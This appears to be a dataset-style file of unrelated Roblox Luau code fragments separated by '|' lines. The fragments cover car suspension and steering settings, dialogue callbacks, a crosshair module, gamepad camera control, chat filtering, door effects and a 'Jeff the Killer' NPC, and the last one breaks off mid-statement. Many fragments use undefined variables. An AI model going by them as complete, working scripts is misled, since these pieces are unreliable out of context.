Tune.RExtensionLim = .5 -- Max Extension Travel (in studs)
Tune.RCompressLim = 2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 8 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.5 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 40 -- TODO track sale for dissertation
plrData.Classes.Base.Misc.MercenaryCarry.Value = true
end
|
-- conecta as funções aos eventos da NumberValue
|
numValue.Changed:Connect(function()
updateTextLabel()
animateTextLabel()
end)
|
-- Listen for chat messages
|
game:GetService("Chat").Chatted:Connect(function(chat, message)
if message:lower() == "respawn" then
local player = getPlayerFromChat(chat)
if player then
player:LoadCharacter() -- Respawn the player
end
end
end)
print("Hello world!")
|
-- Constants
|
local Local_Player = PlayersService.LocalPlayer
local Neck_CFrame = CFrame.new( Vector3.new(0, 0.8,0) )
local Waist_CFrame = CFrame.new( Vector3.new(0, 0.2, 0) )
local Left_Upper_Arm_CFrame = CFrame.new( Vector3.new(-0.6, 0.8, 0) )
local Right_Upper_Arm_CFrame = CFrame.new( Vector3.new(0.6, 0.8, 0) )
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
if plrData.Money.Gold.Value > 10 then
return true
end
return false
end
|
--Crosshair module
|
local crosshair = {}
crosshair.crossscale = Physics.spring.new(0)
crosshair.crossscale.s = 10
crosshair.crossscale.d = 0.8
crosshair.crossscale.t = 1
crosshair.crossspring = Physics.spring.new(0)
crosshair.crossspring.s = 12
crosshair.crossspring.d = 0.65
local function updatecross()
local size = crosshair.crossspring.p*4*crosshair.crossscale.p --*(char.speed/14*(1-0.8)*2+0.8)*(char.sprint+1)/2
for i = 1, 4 do
CrossParts[i].BackgroundTransparency = 1-size/20
end
CrossParts[1].Position = UDim2.new(0,size,0,0)
CrossParts[2].Position = UDim2.new(0,-size-7,0,0)
CrossParts[3].Position = UDim2.new(0,0,0,size)
CrossParts[4].Position = UDim2.new(0,0,0,-size-7)
end
function crosshair:setcrossscale(scale)
crosshair.crossscale.t = scale
end
function crosshair:setcrosssize(size)
crosshair.crossspring.t = size
end
function crosshair:setcrosssettings(size,speed,damper)
crosshair.crossspring.t = size
crosshair.crossspring.s = speed
crosshair.crossspring.d = damper
end
game:GetService("RunService").RenderStepped:connect(function()
updatecross()
end)
return crosshair
|
-- aiming
|
GUI.MobileButtons.AimButton.MouseButton1Click:connect(function()
if not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.IronsightEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then
TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewIS}):Play()
CrosshairModule:setcrossscale(Module.CrossScaleIS)
--[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]]
--Scoping = false
game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveIS
AimDown = true
elseif not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.SniperEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then
TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewS}):Play()
CrosshairModule:setcrossscale(Module.CrossScaleS)
--[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]]
local zoomsound = GUI.Scope.ZoomSound:Clone()
zoomsound.Parent = Player.PlayerGui
zoomsound:Play()
Scoping = true
game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveS
AimDown = true
game:GetService("Debris"):addItem(zoomsound,5)
else
TweeningService:Create(Camera, TweenInfo.new(Module.TweenLengthNAD, Module.EasingStyleNAD, Module.EasingDirectionNAD), {FieldOfView = 70}):Play()
CrosshairModule:setcrossscale(1)
--[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
Scoping = false
game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.Classic
UserInputService.MouseDeltaSensitivity = InitialSensitivity
AimDown = false
end
end)
|
--Set braking torque and stop back 2 wheels
|
function Chassis.EnableHandbrake()
setMotorMaxAcceleration(math.huge)
Motors[3].MotorMaxTorque = ActualBrakingTorque
Motors[4].MotorMaxTorque = ActualBrakingTorque
Motors[3].AngularVelocity = 0
Motors[4].AngularVelocity = 0
end
|
--[[Steering]]
|
Tune.SteerInner = 35 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 37 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .03 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
--Variables
|
local uis = game:GetService("UserInputService")
local mouse = game.Players.LocalPlayer:GetMouse()
local down = false
local canvas = script.Parent.CanvasFrame
local brushSettings = script.Parent.BrushSettingsFrame
local cursor = canvas.Cursor
local erasing = false
local currentSize = 10
local currentColor = Color3.fromRGB(0, 0, 0)
brushSettings.BrushButton.BackgroundColor3 = Color3.fromRGB(200, 200, 200)
brushSettings.ColorBox.Text = math.floor(currentColor.R * 255 + 0.5) .. ", " .. math.floor(currentColor.G * 255 + 0.5) .. ", " .. math.floor(currentColor.B * 255 + 0.5)
brushSettings.PaintImage.Size = UDim2.new(0, currentSize, 0, currentSize)
brushSettings.PaintImage.ImageColor3 = currentColor
local paintContainer = Instance.new("Folder", canvas)
|
-- This script is compatible with the new collision group updates as of 2023. (However, this script does NOT work before late 2022, since it uses methods featured in a 2023 update)
| |
---Controller
|
local Controller=false
local UserInputService = game:GetService("UserInputService")
local LStickX = 0
local RStickX = 0
local RStickY = 0
local RTriggerValue = 0
local LTriggerValue = 0
local ButtonX = 0
local ButtonY = 0
local ButtonL1 = 0
local ButtonR1 = 0
local ButtonR3 = 0
local DPadUp = 0
function DealWithInput(input,IsRobloxFunction)
if Controller then
if input.KeyCode ==Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonX=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=200
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12
player.CameraMaxZoomDistance=5
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0)
else
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="[" then
look=50
elseif key=="]" then
if intcam then
look=160
else
look=180
end
elseif key=="\\" then
look=-50
elseif key=="v" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
mouse.KeyUp:connect(function(key)
if key=="[" and look==50 then
look=0
elseif key=="]" and (look==160 or look==180) then
look=0
elseif key=="\\" and look==-50 then
look=0
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
local hum = plr.Character.Humanoid
for i = 1,10 do
wait()
hum.CameraOffset = Vector3.new(math.random(-0.5,0.5),math.random(-0.5,0.5),math.random(-0.5,0.5))
end
hum.CameraOffset = Vector3.new(0,0,0)
wait(.5)
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
wait(.5)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
--!strict
|
export type Object = { [string]: any }
return {
assign = require(script.assign),
entries = require(script.entries),
freeze = require(script.freeze),
is = require(script.is),
isFrozen = require(script.isFrozen),
keys = require(script.keys),
preventExtensions = require(script.preventExtensions),
seal = require(script.seal),
values = require(script.values),
-- Special marker type used in conjunction with `assign` to remove values
-- from tables, since nil cannot be stored in a table
None = require(script.None),
}
|
-------- CONFIG
-- ENABLERS (do not touch yet)
|
local Popups_Enabled = false -- Enables popups. (refer to "Instructions" for installation)
local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation)
local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false)
local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model)
local Plate_Lights = false -- Enables license plate lights.
local Interior_Lights = false -- Enables interior lights. (Not Working Yet)
local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet)
local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet)
local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)
|
--Collision
|
character.HumanoidRootPart.CanCollide = false
character.RightLowerArm.CollisionGroupId = 0
character.LeftLowerArm.CollisionGroupId = 0
character.RightLowerLeg.CollisionGroupId = 0
character.LeftLowerLeg.CollisionGroupId = 0
wait(0.2)
|
--[[ DON'T TOUCH BELOW OR WONT WORK! ]]
|
--
script.Parent.DataSavingScript.Parent = game:GetService("ServerScriptService")
script.Parent:Destroy()
script.Parent = nil
|
--
|
function Raycast.FindPartOnRay(ray, ignore, terrainCellsAreCubes, ignoreWater)
return WORKSPACE:FindPartOnRay(ray, ignore, terrainCellsAreCubes, ignoreWater)
end
function Raycast.FindPartOnRayWithIgnoreList(ray, ignoreList, terrainCellsAreCubes, ignoreWater)
return WORKSPACE:FindPartOnRayWithIgnoreList(ray, ignoreList, terrainCellsAreCubes, ignoreWater)
end
function Raycast.FindPartOnRayWithWhiteList(ray, whiteList, terrainCellsAreCubes, ignoreWater)
return WORKSPACE:FindPartOnRayWithWhitelist(ray, whiteList, terrainCellsAreCubes, ignoreWater)
end
|
--This module is for any client FX related to the garage debris
|
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
local InitialModelCFrames = {}
function DoorFX.OPEN(door)
if not door then return end
for _, v in pairs(door:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
v.CanCollide = false
end
end
local EffectsBrick = door:WaitForChild("Effects")
local Effects = EffectsBrick:GetChildren()
for _, Item in pairs (Effects) do
if Item.Name == "Unlock" then Item:Play() continue end
if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then
Item.Enabled = true
end
end
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if not Component:IsA("Model") then continue end
InitialModelCFrames[Component] = Component.PrimaryPart.CFrame
local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-1,1),3,math.random(-1,1)))
* CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360)))
local TweenInf = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.In)
tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal}):Play()
end
wait(1)
for _, Component in pairs (Components) do
if not Component:IsA("Model") then continue end
local CFrameGoal = (Component.PrimaryPart.CFrame + Vector3.new(math.random(-20,20),50,math.random(-20,20)))
* CFrame.Angles(math.rad(math.random(1,360)), math.rad(math.random(1,360)), math.rad(math.random(1,360)))
local TweenInf = TweenInfo.new(2, Enum.EasingStyle.Linear)
local Tween = tweenService:Create(Component.PrimaryPart, TweenInf, {CFrame = CFrameGoal})
Tween:Play()
local Event = nil
Event = Tween.Completed:Connect(function()
Event:Disconnect()
Component.PrimaryPart.CFrame = Component.PrimaryPart.CFrame - Vector3.new(0, 300, 0)
end)
end
wait(.5)
for _, Item in pairs (Effects) do
if Item:IsA("Beam") or Item:IsA("PointLight") or Item:IsA("ParticleEmitter") then
Item.Enabled = false
end
end
end
function DoorFX.CLOSE(door)
if not door then return end
local Components = door:GetChildren()
for _, Component in pairs (Components) do
if Component:IsA("Model") then
Component.PrimaryPart.CFrame = InitialModelCFrames[Component] or Component.PrimaryPart.CFrame
--this errors when the module is called for some reason so thats why its like that
end
end
end
return DoorFX
|
-- Initialize the tool
|
local ResizeTool = {
Name = 'Resize Tool';
Color = BrickColor.new 'Cyan';
-- Default options
Increment = 1;
Directions = 'Normal';
};
|
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
|
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message, textFilterContext) --// USES FFLAG
local alwaysRunFilter = false
local runFilter = RunService:IsServer() and not RunService:IsStudio()
if (alwaysRunFilter or runFilter) then
local fromSpeaker = self:GetSpeaker(speakerName)
if fromSpeaker == nil then
return false, nil, nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
if fromPlayerObj == nil then
return true, false, message
end
local success, filterResult = pcall(function()
local ts = game:GetService("TextService")
local result = ts:FilterStringAsync(message, fromPlayerObj.UserId, textFilterContext)
return result
end)
if (success) then
return true, true, filterResult
else
warn("Error filtering message:", message, filterResult)
self:InternalNotifyFilterIssue()
return false, nil, nil
end
end
--// Simulate filtering latency.
wait()
return true, false, message
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalGetUniqueMessageId()
local id = self.MessageIdCounter
self.MessageIdCounter = id + 1
return id
end
function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
speaker:InternalAssignPlayerObject(playerObj)
self.Speakers[speakerName:lower()] = speaker
if fireSpeakerAdded then
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
end
return speaker
end
function methods:InternalFireSpeakerAdded(speakerName)
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error firing speaker added: " ..err)
end
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(5000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<15 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>15 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
